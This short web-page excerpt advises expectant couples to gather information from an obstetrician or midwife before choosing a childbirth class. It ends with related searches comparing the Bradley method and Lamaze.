For expectant families the best option is to gather as much information as possible from either their Obstetrician or Midwife, before making a firm decision on which childbirth class to attend. It is always preferable to choose the birthing method that most appeals to each, individual couple, as it will allow them to feel in control and therefore experience the form of childbirth which best suits their needs.

Apa yang orang lain cari?:

  • bradley method vs lamaze
  • lamaze vs bradley method